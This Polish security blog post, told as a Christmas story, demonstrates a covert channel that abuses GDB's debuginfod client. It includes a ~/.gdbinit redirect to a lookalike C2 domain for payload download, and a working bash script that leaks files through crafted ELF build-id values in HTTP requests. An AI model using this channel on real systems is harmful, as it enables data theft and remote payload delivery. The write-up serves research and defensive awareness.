Złe ELFy kradną dane z fabryki zabawek św. Mikołaja

nfsec.pl 9 miesięcy temu

O

nie! Z powodu dużej ilości pracy przed świętami ktoś zapomniał na serwerze WWW zaktualizować wtyczkę do wykonywania kopii zapasowej w używanym przez św. Mikołaja CMS WordPress. Dzięki temu złośliwe ELFy przedostały się do wewnętrznej sieci i w ramach Lateral Movement “przeskoczyły” do maszyny w fabryce św. Mikołaja odpowiedzialnej za kompilację kodu programów używanych w zabawkach. Jest na niej pełno sekretnych rozwiązań, schematów i innych wrażliwych danych, które można ukraść. Niestety oprócz kompilatorów (gcc) i debuggerów (gdb) maszyna nie posiada żadnych narzędzi (wget, curl itd.), które można wykorzystać do eksfiltracji danych lub ściągnięcia ładunków ze złego C2. Złe ELFy mają dostęp tylko do zwykłego konta dobrego ELFa o imieniu reversek, a dzięki prostemu skanerowi portów w czystej powłoce bash zorientowały już się, iż maszyna ma dostęp do internetu tylko na portach HTTP (80) i HTTPS (443). Czy uda im się wykraść zaawansowane patenty i zamienić je w tańsze podróbki ?

Czym jest ELF build-id:

Od jakiegoś czasu w plikach ELF możemy znaleźć sekcję build-id. Jest to identyfikator (zazwyczaj 160-bitowy skrót SHA-1) zbudowanego pliku binarnego, który pozwala dowiedzieć się skąd pochodzi program lub biblioteka i jaka była jego konfiguracja kompilacji. Używanie identyfikatorów kompilacji umieszczanych w plikach binarnych i bibliotekach współdzielonych jako odcisków palców (ang. fingerprinting) pozwala jednoznacznie zidentyfikować kompilację, z którą pracuje użytkownik lub twórca programu. Nowoczesne zestawy kompilatorów dla systemu Linux, takie jak GCC oraz LLVM umożliwiają zapisywanie tego typu identyfikatorów kompilacji w pliku binarnym ELF w sekcji notatek (SHT_NOTE) o nazwie: “.note.gnu.build-id“. Sekcję tę można podejrzeć w plikach ELF dzięki programu readelf, a także innych narzędzi do analizy tego typu plików:

reversek@toyfactory:~$ readelf -n /bin/ps | grep -A4 'build-id' Displaying notes found in: .note.gnu.build-id Owner Data size Description GNU 0x00000014 NT_GNU_BUILD_ID (unique build ID bitstring) Build ID: 9ff9402856fe97313644b471f550370ff8e67caf reversek@toyfactory:~$ eu-unstrip -n -e /bin/ps 0+0x44390 9ff9402856fe97313644b471f550370ff8e67caf@0x378 /bin/ps -

Ideą identyfikatora kompilacji jest to, iż będzie on taki sam za każdym razem, gdy do zbudowania pliku binarnego zostanie użyta ta sama konfiguracja, choćby jeżeli sam plik binarny może się nieco różnić np. z powodu znacznika czasu (ang. timestamp).

Czym jest debuginfod:

W celu umożliwienia programistom oraz administratorom systemów szybkie debugowanie problemów, społeczność Linuksa opracowała serwis debuginfod – usługę z możliwością wysyłania zapytań za pośrednictwem protokołu HTTP/HTTPS w celu uzyskania symboli debugowania, gdy są potrzebne, bez konieczności lokalnej rekompilacji każdego pliku binarnego. I tak od 2019 roku elfutils wspiera debuginfod, który jest klientem / serwerem dystrybuującym kody ELF / DWARF / źródłowe z serwerów do klientów, takich jak debugery, za pośrednictwem protokołu HTTP(S). Począwszy od wersji Ubuntu Kinetic (22.10), po zainstalowaniu GDB system zostanie automatycznie skonfigurowany do korzystania z usługi debuginfod Ubuntu o adresie: debuginfod.ubuntu.com. W przypadku poprzednich wersji Ubuntu możemy manualnie włączyć usługę, ustawiając zmienną środowiskową DEBUGINFOD_URLS w powłoce. jeżeli używamy powłokę bash, możemy to zrobić dodając następującą linię do pliku ~/.bashrc:

export DEBUGINFOD_URLS="https://debuginfod.ubuntu.com"

Kiedy uruchamiamy GDB i mamy w swoim środowisku zmienną DEBUGINFOD_URLS to zostaniemy zapytani, czy chcemy skorzystać z tej usługi. jeżeli chcemy mieć pewność, iż GDB zawsze będzie korzystać z serwisu debuginfod, możemy umieścić następującą opcję w pliku ~/.gdbinit:

set debuginfod enabled on

Pliki symboli debugowania zostaną pobrane na bieżąco podczas sesji debugera i zapisane lokalnie w katalogu użytkownika: ~/.cache/debuginfod_client/. Możemy bezpiecznie usuwać ten katalog lub znajdujące się w nim podkatalogi z plikami; zostaną one pobrane ponownie jak tylko zajdzie taka potrzeba.

Ściąganie ładunków binarnych:

Niestety o tych wszystkich niuansach wiedziały złe ELFy. Od razu zarejestrowały domenę debuginfod-ubuntu.com, skierowały ją na serwer C2, wygenerowały certyfikat Let’s Encrypt i przystąpiły do ściągania eksploitów. Pierwszym krokiem było umieszczenie w pliku konfiguracyjnym ~/.gdbinit odpowiednich opcji:

set debuginfod enabled on set debuginfod urls https://debuginfod-ubuntu.com set confirm off

Doskonale wiedzieli teraz, iż uruchomienie nie interaktywnej sesji GDB na pliku /bin/ps spowoduje, wysłanie żądania HTTP do serwera C2 w ścieżce:

/buildid/9ff9402856fe97313644b471f550370ff8e67caf/debuginfo

Dlatego po stronie serwera C2 odpowiednio się przygotowali:

evilelf@c2:~/var/www$ mkdir -p buildid/9ff9402856fe97313644b471f550370ff8e67caf/ evilelf@c2:~/var/www$ gcc evil_elfs.c -o debuginfo evilelf@c2:~/var/www$ mv debuginfo buildid/9ff9402856fe97313644b471f550370ff8e67caf/

Uruchomienie gdb pobierze exploit, ale go nie uruchomi, ponieważ build-id będą się od siebie różnić:

reversek@toyfactory:~$ gdb -q -batch -ex bt /bin/ps Downloading 0.02 MB separate debug info for /bin/ps warning: File "/home/reversek/.cache/debuginfod_client/9ff...caf/debuginfo" has a different build-id, file skipped evilelf@c2:~/var/www$ tail -f /var/log/nginx/access_ssl_log 1.2.3.4 - - [17/Dec/2023 19:50:50] "GET /buildid/9ff...caf/debuginfo HTTP/1.1" 200 -

Teraz wystarczy uruchomić ściągnięty ładunek:

reversek@toyfactory:~$ chmod +x .cache/debuginfod_client/9ff...caf/debuginfo reversek@toyfactory:~$ ./.cache/debuginfod_client/9ff...caf/debuginfo All your X-mas are belong to us! santa@toyfactory:~# id uid=0(santa) gid=0(santa) groups=0(santa)

Eksfiltracja danych:

Dokładnie ten sam kanał został wykorzystany przez złe ELFy do wyprowadzenia danych z serwera. Różnica polegała na tym, iż potrzebowali oni na początek najprostszy program napisany w języku C, który będzie wielokrotnie kompilowany (dataout.c):

#include <stdio.h> int main() { printf("Grinch is my master!\n"); }

Czytając dokumentację linkera (ld) natrafili na fragment:

–build-id=style

Request the creation of a “.note.gnu.build-id” ELF note section or a “.buildid” COFF section.
The contents of the note are unique bits identifying this linked file. Style can be “uuid” to use
128 random bits, “sha1” to use a 160-bit SHA1 hash on the normative parts of the output contents,
“md5” to use a 128-bit MD5 hash on the normative parts of the output contents, or “0xhexstring”
to use a chosen bit string specified as an even number of hexadecimal digits (“-” and “:” characters
between digit pairs are ignored). If style is omitted, “sha1” is used.

Oznacza to, iż kompilując dowolny program można przekazać flagę do linkera, która zdefiniuje wartość build-id – wystarczy użyć prefiksu: 0x:

reversek@toyfactory:~$ gcc dataout.c -o evil.elf -Wl,--build-id=0x722c2c2c3a2f72756e2f7379 reversek@toyfactory:~$ readelf -n evil.elf | grep -A4 'build-id' Displaying notes found in: .note.gnu.build-id Owner Data size Description GNU 0x00000010 NT_GNU_BUILD_ID (unique build ID bitstring) Build ID: 722c2c2c3a2f72756e2f7379

Dlatego, jeżeli zamienimy zawartość dowolnego pliku w kod HEX o odpowiedniej długości linii (np. 32 znaki) i zaczniemy przekazywać linia po linii go do linkera, a ten umieszczać go w sekcji build-id – kolejne sesje debugera będą po każdej kompilacji wysyłały dane do serwera C2 dzięki żądań HTTP GET. Złe ELFy napisały choćby do tego prosty skrypt (exfiltrate.sh):

#!/bin/bash data=$(hexdump -e '16/1 "%02x " "\n"' $1 | tr -d ' ') for i in $data do echo "Sending: $i" gcc dataout.c -o evil.elf -Wl,--build-id=0x$i gdb -q -batch -ex bt evil.elf 2> /dev/null rm -rf .cache/debuginfod_client/* done

Przed wysłaniem wrażliwych danych zrobiły test na pliku /etc/issue.net:

reversek@toyfactory:~$ ./exfiltrate.sh /etc/issue.net Sending: 5562756e74752032322e30342e33204c Sending: 54530a evilelf@c2:~/var/www$ cat access_ssl_log 1.2.3.4 - - [17/Dec/2023 20:58:47] "GET /buildid/556...04c/debuginfo HTTP/1.1" 404 - 1.2.3.4 - - [17/Dec/2023 20:58:47] "GET /buildid/54530a/debuginfo HTTP/1.1" 404 - evilelf@c2:~/var/www$ grep -o -P '(?<=buildid/).*(?=/debuginfo)' access_ssl_log 5562756e74752032322e30342e33204c 54530a evilelf@c2:~/var/www$ echo 5562756e74752032322e30342e33204c54530a | xxd -r -p Ubuntu 22.04.3 LTS

Podsumowanie:

Dzięki nietypowemu zastosowaniu funkcji podpisywania kompilacji plików oraz serwisowi debuginfod złym ELFom udało się wykorzystać unikalny kanał komunikacji o niskiej przepustowości między klientem (debugerem GNU GDB), a wrogim serwerem C2 do ściągania ładunków oraz eksfiltracji danych. Ten kanał komunikacji wymaga użycia specjalistycznych narzędzi zwykle zarezerwowanych dla środowisk budowania i sprawdzania oprogramowania, a które nie powinny być ogólnodostępne na serwerach pełniących inne role (np. mail, www). I chociaż demonstracja została przeprowadzona na systemie Linux i GDB, debuginfod zostało również zaadaptowane do intensywnie używanych komponentów systemu Windows.

Więcej informacji: Summer Coding 2010 ideas – Universal Build-ID, Using build identifiers to fingerprint ELF binaries and link to build information without having access to source code, Service – Debuginfod

Idź do oryginalnego materiału